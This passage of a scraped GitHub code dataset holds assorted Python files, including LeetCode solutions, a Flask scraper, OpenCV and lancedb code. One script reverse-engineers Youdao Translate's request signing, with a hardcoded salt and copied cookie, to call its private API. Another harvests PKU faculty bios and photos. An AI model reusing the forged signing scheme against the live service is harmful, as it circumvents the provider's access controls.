0.15\nTEST_RATIO = 0.15\n\n\ndef main():\n user_group = {}\n\n with open(DATA_FILE) as data_file:\n lines = data_file.read().split('\\n')\n\n for line in lines:\n if not line:\n continue\n\n uid = (json.loads(line))[1]\n if uid not in user_group:\n user_group[uid] = []\n\n user_group[uid].append(line)\n\n user_group = {u: v for u, v in user_group.items()}\n\n if not os.path.exists(SPLIT_PATH):\n os.mkdir(SPLIT_PATH)\n\n with open(TRAIN_FILE, 'w') as train_file, open(DEV_FILE, 'w') as dev_file, open(TEST_FILE, 'w') as test_file:\n train_lines, dev_lines, test_lines = [], [], []\n\n for uid, lines in user_group.items():\n random.shuffle(lines)\n\n leng = len(lines)\n dev_num = math.floor(leng * DEV_RATIO)\n test_num = math.floor(leng * TEST_RATIO)\n\n dev_lines += lines[:dev_num]\n test_lines += lines[-test_num:]\n train_lines += lines[dev_num:-test_num]\n\n dev_file.write('\\n'.join(dev_lines))\n test_file.write('\\n'.join(test_lines))\n train_file.write('\\n'.join(train_lines))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"HCDM/XRec","sub_path":"SAER/data/split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"22"} +{"seq_id":"30050999064","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# File : LeetCode1617.py\n# Author : WangYu\n# Date : 2021/3/9\n\nfrom typing import List\nfrom collections import defaultdict\nclass Solution:\n def countSubgraphsForEachDiameter(self, n: int, edges: List[List[int]]) -> List[int]:\n node = defaultdict(list)\n idx = defaultdict(list)\n for a,b in edges:\n node[a].append(b)\n node[b].append(a)\n for i in range(1,n+1):\n idx[i] = [0] * 16\n for k in range(1,n+1):\n tmp = [k]\n flag = set(tmp)\n cnt = 1\n while len(tmp) > 0:\n tmp2 = []\n for i in tmp:\n for j in node[i]:\n if j not in flag:\n tmp2.append(j)\n flag.add(j)\n idx[k][cnt]+=1\n tmp = tmp2\n cnt += 1\n ret = []\n for i in range(1,n+1):\n print(i,idx[i])\n for i in range(1,n):\n summ = 0\n for j in range(1,n+1):\n summ+= idx[j][i]\n ret.append(summ)\n return ret\n\nn = 4\nedges = [[1, 2], [2, 3], [2, 4]]\ns = Solution()\nprint(s.countSubgraphsForEachDiameter(n,edges))","repo_name":"wangyu33/LeetCode","sub_path":"LeetCode1617.py","file_name":"LeetCode1617.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74622060536","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 1 13:33:45 2018\n\n@author: Parmenides\n\"\"\"\n\n\n# =============================================================================\n# Quiz 2 Part 6 (This Part has 1 Program)\n# 10.0/10.0 points (graded)\n# Write a program that asks the user to enter a positive integer n. Assuming that this integer is in seconds, your program should convert the number of seconds into days, hours, minutes, and seconds and prints them exactly in the format specified below. Here are a few sample runs of what your program is supposed to do: \n# \n# when user enters\n# \n# 369121517\n# your program should print:\n# 4272 days 5 hours 45 minutes 17 seconds\n# when user enters\n# 24680\n# your program should print:\n# 0 days 6 hours 51 minutes 20 seconds\n# when user enters\n# 129600\n# your program should print:\n# 1 days 12 hours 0 minutes 0 seconds\n# Note that the numbers and words in the above output are separated by only one space. All the words are in lower case. Your output should exactly match the format shown above.\n# =============================================================================\n\n# Type your code here\ntime = int(input(\"Input time in seconds: \"))\nday = time // (24 * 3600)\ntime = time % (24 * 3600)\nhour = time // 3600\ntime %= 3600\nminutes = time // 60\ntime %= 60\nseconds = time\nprint(\"{} days {} hours {} minutes {} seconds\".format(day, hour, minutes, seconds))","repo_name":"faizalazman/UTArlingtonX--CSE1309x-Introduction-to-Programming-Using-Python","sub_path":"Week 3/Quiz 2 Part 6.py","file_name":"Quiz 2 Part 6.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15696021281","text":"import json\n\nfrom common.customExceptions import *\nfrom common.responseBuilder import ResponseBuilder\nfrom microservices.projectUsers.services.projectUsersService import (\n ProjectUser,\n)\n\n\ndef deleteHandler(event, context):\n\n try:\n projectUsers = ProjectUser()\n response_builder = ResponseBuilder()\n kwargs = _checkAndCreateFunctionParametersDictionary(event)\n response = projectUsers.deleteProjectUser(**kwargs)\n response = response_builder.buildResponse(None, response)\n except Exception as error:\n response = response_builder.buildResponse(error)\n return response\n\n\ndef _checkAndCreateFunctionParametersDictionary(event):\n kwargs = {}\n if not event.get(\"pathParameters\").get(\"project_id\"):\n raise URLAttributeNotFound(\"Project Id\")\n if not event.get(\"pathParameters\").get(\"user_id\"):\n raise URLAttributeNotFound(\"User Id\")\n\n authenticated_user_id = (\n event.get(\"requestContext\", {})\n .get(\"authorizer\", {})\n .get(\"lambda\", {})\n .get(\"sub\")\n )\n\n authenticated_user_roles = (\n event.get(\"requestContext\", {})\n .get(\"authorizer\", {})\n .get(\"lambda\", {})\n .get(\"cognito:groups\")\n )\n \n project_id = event.get(\"pathParameters\").get(\"project_id\")\n user_id = event.get(\"pathParameters\").get(\"user_id\")\n kwargs[\"project_id\"] = project_id\n kwargs[\"user_id\"] = user_id\n kwargs[\"authenticated_user_id\"] = authenticated_user_id\n kwargs[\"authenticated_user_roles\"] = authenticated_user_roles\n\n return kwargs\n","repo_name":"SaikiranMitta/exp","sub_path":"microservices/projectUsers/handlers/v1/deleteHandler.py","file_name":"deleteHandler.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"20458967563","text":"from flask import Flask, request, render_template\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport json\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef home():\r\n if request.method == 'POST':\r\n url = request.form.get('url')\r\n\r\n try:\r\n response = requests.get(url, timeout=30)\r\n response.raise_for_status()\r\n\r\n # Force decode the response content as UTF-8\r\n text = response.content.decode('utf-8', errors='replace')\r\n\r\n soup = BeautifulSoup(text, 'html.parser')\r\n\r\n # Load ignore data from JSON file\r\n with open('ignore_data.json', 'r') as f:\r\n ignore_data = json.load(f)\r\n ignore_texts = ignore_data.get('ignore_texts', [])\r\n ignore_classes = ignore_data.get('ignore_classes', [])\r\n\r\n # Remove paragraphs with ignored classes\r\n for element in soup.find_all(class_=ignore_classes):\r\n element.decompose()\r\n\r\n # Remove paragraphs with ignored texts\r\n for element in soup.find_all('p'):\r\n if any(ignore_text in element.get_text() for ignore_text in ignore_texts):\r\n element.decompose()\r\n\r\n # Extract the HTML of remaining paragraphs\r\n paragraphs = [str(p) for p in soup.find_all('p')]\r\n\r\n if not paragraphs:\r\n return render_template('error.html', message='No text found on the page.')\r\n \r\n page_title = soup.title.get_text() if soup.title else \"Scrape Results\"\r\n\r\n return render_template('result.html', page_title=page_title, paragraphs=paragraphs)\r\n\r\n return render_template('result.html', paragraphs=paragraphs)\r\n\r\n except (requests.RequestException, ValueError):\r\n return render_template('error.html', message='Invalid URL or the request timed out.')\r\n\r\n return render_template('index.html')\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"adessuquinho/webscraper","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74848806777","text":"dir_structure = {\n 'Books': {\n 'Programming_language': {\n 'Python': {\n 'Django': {},\n 'Flask': {},\n 'Python_2.7': {},\n 'Python_3': {},\n }\n },\n 'CS_subjects': {\n 'Data_Structure_and_Algorithm': {},\n 'Computer_Networks': {},\n 'Digital_Logic': {},\n \"DBMS\": {},\n }\n }\n}\n\nimport os\n\n\ndef create_dir(path):\n try:\n os.makedirs(path)\n return True\n except FileExistsError:\n return True\n except:\n return False\n\n\ndef get_dir(structure, path=os.getcwd()):\n for i in structure.keys():\n if len(structure[i]) > 0:\n path = '/'.join([path, i])\n get_dir(structure[i], path)\n else:\n if create_dir('/'.join([path, i])):\n continue\n else:\n print(\"Cannot create Directory {}\".format(i))\n pass\n\n\nif __name__ == \"__main__\":\n get_dir(dir_structure)\n print(\"Process Completed Successfully!!\")\n","repo_name":"Ishuin/directory_tree","sub_path":"rec_dir.py","file_name":"rec_dir.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31379619660","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport re\n\nwith open('../logs/log.txt', 'r') as f:\n\tlogs = f.readlines()\n\nacc1 = []\nval_acc1 = []\nfor line in logs:\n\tif 'val' in line and line.startswith('['):\n\t\tres = re.findall(r'.*acc@1(.*).*val_acc@1(.*).*acc@3.*val_acc@3.*', line)\n\t\tacc1.append(float(res[0][0]))\n\t\tval_acc1.append(float(res[0][1]))\n\n# val_acc1 = val_acc1[180:210]\nx = [i for i in range(1, len(val_acc1)+1)]\nplt.plot(x, val_acc1, c='green', alpha=0.5)\nplt.scatter(x, val_acc1, c='blue', alpha=0.5)\nplt.grid()\nplt.savefig('2.jpg')\nplt.show()\n","repo_name":"ielym/Products-Detection-and-Retrieval","sub_path":"src10-Faster-Resnext101_32x8d-isobject-CIOU/utils/showplot.py","file_name":"showplot.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"} +{"seq_id":"15165685183","text":"import cv2\r\nimport numpy as np\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\n\r\ncv2.namedWindow(\"Bars\")\r\ncv2.createTrackbar(\"LH\", \"Bars\", 0, 255, lambda m:m)\r\ncv2.createTrackbar(\"LS\", \"Bars\", 0, 255, lambda m:m)\r\ncv2.createTrackbar(\"LV\", \"Bars\", 0, 255, lambda m:m)\r\ncv2.createTrackbar(\"UH\", \"Bars\", 128, 255, lambda m:m)\r\ncv2.createTrackbar(\"US\", \"Bars\", 128, 255, lambda m:m)\r\ncv2.createTrackbar(\"UV\", \"Bars\", 128, 255, lambda m:m)\r\n\r\n\r\nwhile cap.isOpened():\r\n\r\n Done, frame = cap.read()\r\n frame = cv2.flip(frame, 1)\r\n \r\n if Done:\r\n hsv_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\r\n \r\n lh = cv2.getTrackbarPos(\"LH\", \"Bars\")\r\n ls = cv2.getTrackbarPos(\"LS\", \"Bars\")\r\n lv = cv2.getTrackbarPos(\"LV\", \"Bars\")\r\n uh = cv2.getTrackbarPos(\"UH\", \"Bars\")\r\n us = cv2.getTrackbarPos(\"US\", \"Bars\")\r\n uv = cv2.getTrackbarPos(\"UV\", \"Bars\")\r\n \r\n Lowers = np.array([lh, ls, lv])\r\n Uppers = np.array([uh, us, uv])\r\n \r\n mask = cv2.inRange(hsv_frame, Lowers, Uppers)\r\n \r\n target = cv2.bitwise_and(frame, frame, mask = mask)\r\n \r\n cv2.imshow(\"frame\", frame)\r\n cv2.imshow(\"mask\", mask)\r\n cv2.imshow(\"Result\", target)\r\n \r\n if cv2.waitKey(1) == ord(\"q\"):\r\n break\r\n \r\ncap.release()\r\ncv2.destroyAllWindows()","repo_name":"a00ayad00/Object-Detection-Using-HSV-space-colour","sub_path":"Object Detection Using HSV colour space.py","file_name":"Object Detection Using HSV colour space.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"18453117956","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport PIL.Image as pilimg\n\nim=pilimg.open('D:\\\\github\\\\cnsh_files\\\\pythonai_camp\\\\day2\\\\rgb.png')\npix=np.array(im)\npixSize=np.array(im)\n\npix_R=pix.copy()\npix_R[:,:,(1,2)]=0\npix_G=pix.copy()\npix_G[:,:,(0,2)]=0\npix_B=pix.copy()\npix_B[:,:,(0,1)]=0\n\nplt.subplot(141)\n\nplt.imshow(pix)\nplt.axis('on')\nplt.title('RGB')\n\nplt.subplot(142)\nplt.imshow(pix_R)\nplt.axis('off')\nplt.title('R(Red)')\n\nplt.subplot(143)\nplt.imshow(pix_G)\nplt.axis('off')\nplt.title('G(Green)')\n\nplt.subplot(144)\nplt.imshow(pix_B)\nplt.axis('off')\nplt.title('B(Blue)')\n\nplt.show()\n","repo_name":"is-pyu/cnsh_files","sub_path":"pythonai_camp/day2/rgb_process.py","file_name":"rgb_process.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"34535982355","text":"import time\nimport random\nimport requests\nimport json\nimport hashlib\nimport jsonpath\ndef a():\n url ='https://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule'\n headers={\n 'Cookie': 'OUTFOX_SEARCH_USER_ID=79467041@10.108.160.102; JSESSIONID=aaaYcfsIiH6Eq9tgeJY4x; OUTFOX_SEARCH_USER_ID_NCOO=1993965922.0769746; ___rl__test__cookies=1641525568356',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',\n \"Referer\": \"http://fanyi.youdao.com/\"\n\n }\n user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'\n time_=str(int(time.time()*1000))\n ch=input(\"帅哥,别光顾着改bug呀😜,请先写出你看不懂的单词:\")\n time_salt=time_+str(random.randint(0,9))\n a = \"fanyideskweb\" + ch + time_salt + \"]BjuETDhU)zqSxf-=B#7m\"\n sign=hashlib.md5(a.encode()).hexdigest()\n bv=hashlib.md5(user_agent.encode()).hexdigest()\n form_data = {\n \"i\": ch, # 要被翻译的数据\n \"from\": \"AUTO\",\n \"to\": \"AUTO\",\n \"smartresult\": \"dict\",\n \"client\": \"fanyideskweb\",\n \"salt\": time_salt, # 以毫秒为单位的时间戳 + 随机数字\n \"sign\": sign, # 未知的js加密后的数据\n \"lts\": time_, # 以毫秒为单位的时间戳\n \"bv\": \"4abf2733c66fbf953861095a23a839a8\",\n \"doctype\": \"json\",\n \"version\": \"2.1\",\n \"keyfrom\": \"fanyi.web\",\n \"action\": \"FY_BY_REALTlME\",\n }\n re = requests.post(url,headers=headers,params=form_data)\n repons=re.json()\n res=jsonpath.jsonpath(repons,'$...tgt')[0]\n print(res)\nwhile 1:\n a()\n ","repo_name":"15736701848/spider","sub_path":"JS逆向有道词典翻译.py","file_name":"JS逆向有道词典翻译.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74582001014","text":"'''\n made by @domekisuzi\n 2022/3/26\n'''\nimport os\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\n\n'''\n 全局变量,其中header为头部,headerStr为处理字符串使用的头部,url为北京大学计算机院士的界面\n'''\n\nheader = {\n 'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Mobile Safari/537.36'}\nurl = \"http://cs.pku.edu.cn/szdw1/ys.htm\" # 所有院士页面\nheaderStr = \"http://cs.pku.edu.cn\"\nres = requests.get(url=url, headers=header)\nres.encoding = 'UTF-8'\nsoup \\\n = BeautifulSoup(res.text, 'lxml')\npath = 'E:/python作业数据'\n'''\n 获取院士详细信息的url,方便进行跳转进一步得到院士的详细信息,得到的信息是../info/1208/1731.htm形式,需要去除前面的..\n'''\ndef getDetailURL():\n details = set()\n detail = soup.findAll('li',id=re.compile('line_'))[0].findAllNext('div',class_='pic')[0].findAllNext('a')\n for i in detail:\n if re.match('../',i.get('href')):\n details.add(headerStr + i.get('href')[1:])\n # print(details)#打印所有院士的详细信息的URL列表\n return details\n'''\n 根据所给出的URL,获取所有院士的详细信息并将其写入文本\n'''\n\ndef getDetails(urls):\n if not os.path.exists(path):\n os.mkdir(path)\n for i in urls:\n content =\"\"\n res = requests.get(url=i, headers=header)\n res.encoding = 'UTF-8'#指定编码方式为utf-8\n soup = BeautifulSoup(res.text,'lxml')\n # 获取名字\n name = soup.findAll('div', class_=re.compile('M2_1R$'))[0].findAll('h1')[0].string\n print(name)\n content+=name+'\\n'\n # 获取详细信息\n res = soup.findAll('div', class_=re.compile('M2_1R$'))[::]\n for i in res:\n # print(i)\n # print(p)#获取整个详细信息所在tags\n p = i.findAll('p')\n for i in p:\n if (i.string != None):\n print(i.string)\n content+=i.string+'\\n'\n information = soup.findAll('span')[::]\n for i in information:\n if i.string != None:\n print(i.string,'')\n content+=i.string\n with open(path+'/'+name+\".txt\",'w',encoding='utf-8') as file:#以utf-8的形式写入文件\n file.write(content)\n # print(content)\n\ndef downLoadPictures():\n #若没有该文件夹,则创建文件\n if not os.path.exists(path):\n os.mkdir(path)\n # 查找院士\n teachers = []\n names = soup.findAll('div', class_='txt')[0].findAllNext('h4')\n for i in names:\n teachers.append(i.string)\n # 查找图片\n imagesList = []\n images = soup.findAll('div', class_='pic')[0].findAllNext('img')\n for i in images:\n if (re.match('/__', i.get('src'))):\n imagesList.append('http://cs.pku.edu.cn' + i.get('src'))\n # print(i.get('src'))#打印未经处理的图片的URL\n dict = {}\n for i in range(0, 6):\n dict[teachers[i]] = imagesList[i]\n # print(dict)#打印人物与图片相对应的字典\n # 下载对应图片,并将图片与文字一一对应\n for i in dict.keys():\n r = requests.get(dict[i])\n with open(path+'/'+ i + '.png', 'wb') as f:\n f.write(r.content)\n\n\n\nif __name__ == '__main__':\n details = getDetailURL()\n getDetails(details)\n downLoadPictures()\n\n","repo_name":"domekisuzi/python-project-","sub_path":"new-2021-06-26/py作业/PyRequest.py","file_name":"PyRequest.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37072507093","text":"from mvnc import mvncapi as mvnc\nimport sys\nimport numpy as np\nimport cv2\nimport time\nimport os\nimport csv\nimport math\n# the networks compiled for NCS via ncsdk tools\ntiny_yolo_graph_file= './yolo_tiny.graph'\n\n# Tiny Yolo assumes input images are these dimensions.\nTY_NETWORK_IMAGE_WIDTH = 448\nTY_NETWORK_IMAGE_HEIGHT = 448\n\n\n# googlenet mean values will be read in from .npy file\ngn_mean = [0., 0., 0.]\n\n# labels to display along with boxes if googlenet classification is good\n# these will be read in from the synset_words.txt file for ilsvrc12\ngn_labels = [\"\"]\n\nactual_frame_width = 0\nactual_frame_height = 0\n\n############################################################\n# Tuning variables\n\n# only keep boxes with probabilities greater than this\n# when doing the tiny yolo filtering.\nTY_BOX_PROBABILITY_THRESHOLD = 0.10 # 0.07\n\n\nTY_MAX_IOU = 0.35\n\n# end of tuning variables\n#######################################################\n\ndef main():\n global gn_mean, gn_labels, actual_frame_height, actual_frame_width, TY_BOX_PROBABILITY_THRESHOLD, TY_MAX_IOU\n\n # Set logging level and initialize/open the first NCS we find\n mvnc.SetGlobalOption(mvnc.GlobalOption.LOG_LEVEL, 0)\n devices = mvnc.EnumerateDevices()\n\n ty_device = mvnc.Device(devices[0])\n ty_device.OpenDevice()\n\n\n #Load tiny yolo graph from disk and allocate graph via API\n try:\n with open(tiny_yolo_graph_file, mode='rb') as ty_file:\n ty_graph_from_disk = ty_file.read()\n ty_graph = ty_device.AllocateGraph(ty_graph_from_disk)\n except:\n print ('Error - could not load tiny yolo graph file')\n ty_device.CloseDevice()\n return 1\n\n\n # GoogLenet initialization\n EXAMPLES_BASE_DIR = '../../'\n gn_mean = np.load(EXAMPLES_BASE_DIR + 'data/ilsvrc12/ilsvrc_2012_mean.npy').mean(1).mean(1) # loading the mean file\n\n gn_labels_file = EXAMPLES_BASE_DIR + 'data/ilsvrc12/synset_words.txt'\n gn_labels = np.loadtxt(gn_labels_file, str, delimiter='\\t')\n for label_index in range(0, len(gn_labels)):\n temp = gn_labels[label_index].split(',')[0].split(' ', 1)[1]\n gn_labels[label_index] = temp\n\n exit_app = False\n\n\n TY_MAX_IOU = 0.15\n TY_BOX_PROBABILITY_THRESHOLD = 0.13\n\n while (True):\n write_time = 0\n times = 0\n while True :\n start_time = time.time()\n while True:\n if os.path.exists('/home/pi/Share_pi/mc/cap_ty_go.txt') == 1 and os.path.exists('/home/pi/Share_pi/mc/pic_ty.jpg') == 1 and os.path.exists('/home/pi/Share_pi/mc/ty_graph.txt') != 1:\n break\n time.sleep(0.01)\n #video_device = cv2.VideoCapture('/home/pi/Share_pi/mc/pic_ty.jpg')\n os.remove('/home/pi/Share_pi/mc/cap_ty_go.txt')\n input_image = cv2.imread('/home/pi/Share_pi/mc/pic_ty.jpg',cv2.IMREAD_COLOR)\n actual_frame_width = 640.0\n actual_frame_height = 480.0\n print ('actual video resolution: ' + str(actual_frame_width) + ' x ' + str(actual_frame_height))\n input_image = cv2.resize(input_image, (TY_NETWORK_IMAGE_WIDTH, TY_NETWORK_IMAGE_HEIGHT), cv2.INTER_LINEAR)\n display_image = input_image.copy()\n input_image = input_image.astype(np.float32)\n input_image = np.divide(input_image, 255.0)\n ty_graph.LoadTensor(input_image.astype(np.float16), 'user object')\n output, userobj = ty_graph.GetResult()\n\n times += 1\n np.savetxt('/home/pi/Share_pi/mc/ty_graph.txt',output)\n with open('/home/pi/Share_pi/mc/ty_finished.txt', 'w') as f:\n f.write('finished')\n end_time = time.time()\n write_time += (end_time-start_time)\n print(times)\n print(write_time/times)\n video_device.release()\n\n if (exit_app):\n break\n ty_graph.DeallocateGraph()\n ty_device.CloseDevice()\n\n\nif __name__ == \"__main__\":\n print('waiting for gn...')\n while True:\n if os.path.exists('/home/pi/Share_pi/mc/go.txt') == 1:\n break\n time.sleep(0.01)\n os.remove(\"/home/pi/Share_pi/mc/go.txt\")\n sys.exit(main())\n","repo_name":"CaveCanem1240/Frame_Classicfication_based_on_Fog_Computing","sub_path":"python/object_detection.py","file_name":"object_detection.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"70538843577","text":"\"\"\"\nEvaluate the value of an arithmetic expression in Reverse Polish Notation.\n\nValid operators are +, -, *, /. Each operand may be an integer or another expression.\n\nExample\n[\"2\", \"1\", \"+\", \"3\", \"*\"] -> ((2 + 1) * 3) -> 9\n[\"4\", \"13\", \"5\", \"/\", \"+\"] -> (4 + (13 / 5)) -> 6\n\"\"\"\n\nclass Solution:\n # @param {string[]} tokens The Reverse Polish Notation\n # @return {int} the value\n def evalRPN(self, tokens):\n # Write your code here\n stack = []\n for token in tokens:\n if not stack:\n stack.append(int(token))\n else:\n if token == '+':\n stack.append(stack.pop() + stack.pop())\n elif token == '-':\n stack.append(- stack.pop() + stack.pop())\n elif token == '*':\n stack.append(stack.pop() * stack.pop())\n elif token == '/':\n stack.append(int(1 / float(stack.pop()) * float(stack.pop())))\n else:\n stack.append(int(token))\n return int(stack[-1])\n","repo_name":"AnthonyNeu/LintCode","sub_path":"Python/Evaluate Reverse Polish Notation.py","file_name":"Evaluate Reverse Polish Notation.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"} +{"seq_id":"10424882893","text":"import io\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nimport requests\n\nimport lancedb\nfrom lancedb.embeddings import EmbeddingFunctionRegistry\nfrom lancedb.pydantic import LanceModel, Vector\n\n# These are integration tests for embedding functions.\n# They are slow because they require downloading models\n# or connection to external api\n\n\n@pytest.mark.slow\n@pytest.mark.parametrize(\"alias\", [\"sentence-transformers\", \"openai\"])\ndef test_sentence_transformer(alias, tmp_path):\n db = lancedb.connect(tmp_path)\n registry = EmbeddingFunctionRegistry.get_instance()\n func = registry.get(alias).create()\n\n class Words(LanceModel):\n text: str = func.SourceField()\n vector: Vector(func.ndims()) = func.VectorField()\n\n table = db.create_table(\"words\", schema=Words)\n table.add(\n pd.DataFrame(\n {\n \"text\": [\n \"hello world\",\n \"goodbye world\",\n \"fizz\",\n \"buzz\",\n \"foo\",\n \"bar\",\n \"baz\",\n ]\n }\n )\n )\n\n query = \"greetings\"\n actual = table.search(query).limit(1).to_pydantic(Words)[0]\n\n vec = func.compute_query_embeddings(query)[0]\n expected = table.search(vec).limit(1).to_pydantic(Words)[0]\n assert actual.text == expected.text\n assert actual.text == \"hello world\"\n\n\n@pytest.mark.slow\ndef test_openclip(tmp_path):\n from PIL import Image\n\n db = lancedb.connect(tmp_path)\n registry = EmbeddingFunctionRegistry.get_instance()\n func = registry.get(\"open-clip\").create()\n\n class Images(LanceModel):\n label: str\n image_uri: str = func.SourceField()\n image_bytes: bytes = func.SourceField()\n vector: Vector(func.ndims()) = func.VectorField()\n vec_from_bytes: Vector(func.ndims()) = func.VectorField()\n\n table = db.create_table(\"images\", schema=Images)\n labels = [\"cat\", \"cat\", \"dog\", \"dog\", \"horse\", \"horse\"]\n uris = [\n \"http://farm1.staticflickr.com/53/167798175_7c7845bbbd_z.jpg\",\n \"http://farm1.staticflickr.com/134/332220238_da527d8140_z.jpg\",\n \"http://farm9.staticflickr.com/8387/8602747737_2e5c2a45d4_z.jpg\",\n \"http://farm5.staticflickr.com/4092/5017326486_1f46057f5f_z.jpg\",\n \"http://farm9.staticflickr.com/8216/8434969557_d37882c42d_z.jpg\",\n \"http://farm6.staticflickr.com/5142/5835678453_4f3a4edb45_z.jpg\",\n ]\n # get each uri as bytes\n image_bytes = [requests.get(uri).content for uri in uris]\n table.add(\n pd.DataFrame({\"label\": labels, \"image_uri\": uris, \"image_bytes\": image_bytes})\n )\n\n # text search\n actual = table.search(\"man's best friend\").limit(1).to_pydantic(Images)[0]\n assert actual.label == \"dog\"\n frombytes = (\n table.search(\"man's best friend\", vector_column_name=\"vec_from_bytes\")\n .limit(1)\n .to_pydantic(Images)[0]\n )\n assert actual.label == frombytes.label\n assert np.allclose(actual.vector, frombytes.vector)\n\n # image search\n query_image_uri = \"http://farm1.staticflickr.com/200/467715466_ed4a31801f_z.jpg\"\n image_bytes = requests.get(query_image_uri).content\n query_image = Image.open(io.BytesIO(image_bytes))\n actual = table.search(query_image).limit(1).to_pydantic(Images)[0]\n assert actual.label == \"dog\"\n other = (\n table.search(query_image, vector_column_name=\"vec_from_bytes\")\n .limit(1)\n .to_pydantic(Images)[0]\n )\n assert actual.label == other.label\n\n arrow_table = table.search().select([\"vector\", \"vec_from_bytes\"]).to_arrow()\n assert np.allclose(\n arrow_table[\"vector\"].combine_chunks().values.to_numpy(),\n arrow_table[\"vec_from_bytes\"].combine_chunks().values.to_numpy(),\n )\n","repo_name":"lancedb/lancedb","sub_path":"python/tests/test_embeddings_slow.py","file_name":"test_embeddings_slow.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":1527,"dataset":"github-code","pt":"22"} +{"seq_id":"15051325126","text":"\nimport re\n\nfrom error import PartError\n\n\ndef parse_taxonomy(tax_dict, taxonomy=None):\n \"\"\"Parse the taxonomy dictionary from a part.\"\"\"\n if taxonomy is None:\n taxonomy = [tax_dict['value']]\n else:\n taxonomy.append(tax_dict['value'])\n if \"children\" in tax_dict and len(tax_dict['children']) > 0:\n return parse_taxonomy(tax_dict['children'][0], taxonomy)\n else:\n return \"/\".join(taxonomy)\n\n\nclass Part:\n \"\"\"A single part.\"\"\"\n\n def __init__(self, underlying_dict):\n \"\"\"Construct the part.\"\"\"\n self._dict = underlying_dict\n self._parameters = {}\n for param in self._dict['parameters']:\n self._parameters[param['parameter']] = param['value']\n\n @property\n def part_number(self):\n \"\"\"Get the digikey part number.\"\"\"\n return self[\"digi_key_part_number\"]\n\n @property\n def family(self):\n \"\"\"Get the family.\"\"\"\n return self._get_value(\"family\")\n\n @property\n def taxonomy(self):\n \"\"\"Get the taxonomy.\"\"\"\n if not hasattr(self, \"_taxonomy\"):\n tax_dict = self._dict['limited_taxonomy']\n self._taxonomy = parse_taxonomy(tax_dict)\n return self._taxonomy\n\n @property\n def pricing(self):\n \"\"\"Get the part's pricing.\"\"\"\n if not hasattr(self, '_pricing'):\n self._pricing = {}\n for pbreak in self._dict['standard_pricing']:\n quant = pbreak['break_quantity']\n price = pbreak['unit_price']\n self._pricing[quant] = float(price)\n return self._pricing\n\n @property\n def unit_price(self):\n \"\"\"Get the price for a single unit.\n\n If there is no price for a single unit, then the price will be 0.0.\n \"\"\"\n try:\n return self.pricing[1]\n except KeyError:\n return 0.0\n\n def get_price(self, units):\n \"\"\"Get the price at a specified quantity.\n\n If the part is not available for the given quantity, then the price will be 0.0.\n \"\"\"\n for quant, price in reversed(self.pricing.items()):\n if quant < units:\n return price\n return 0.0\n\n def _dict_index_by_regex(self, d, pattern):\n \"\"\"Index a dictionary by regular expression.\"\"\"\n regex = re.compile(pattern)\n for key, item in d.items():\n if regex.fullmatch(key) is not None:\n return item\n raise KeyError(f\"{pattern} not found in {self.part_number}\")\n\n def _get_parameter(self, param):\n \"\"\"Get the parameter.\n\n The parameter may be expressed as a regular expression.\n \"\"\"\n return self._parameters[param]\n\n @property\n def data(self):\n \"\"\"Return the underlying data.\"\"\"\n return self._dict\n\n def _get_value(self, param):\n \"\"\"Get the value of a general parameter.\"\"\"\n p = self._dict[param]\n if isinstance(p, dict):\n return p['value']\n return p\n\n def __getitem__(self, key):\n \"\"\"Get the given part item.\"\"\"\n if key == \"price\":\n return self.unit_price\n elif key == 